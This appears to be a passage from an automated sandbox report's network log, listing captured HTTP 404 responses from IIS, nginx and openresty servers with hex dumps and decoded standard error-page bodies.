Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:12:56 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Mon, 11 Nov 2024 17:13:01 GMTContent-Type: text/htmlContent-Length: 580Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/7.5X-Powered-By: ASP.NETDate: Mon, 11 Nov 2024 17:12:56 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:13:01 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:13:02 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:13:07 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.21.4.3Date: Mon, 11 Nov 2024 17:13:07 GMTContent-Type: text/htmlContent-Length: 561Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:13:13 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:13:14 GMTContent-Type: text/htmlContent-Length: 138Connection: keep-aliveETag: "663ee226-8a"Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 11 Nov 2024 17:13:24 GMTContent-Type: text/htmlContent-Length: 548Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 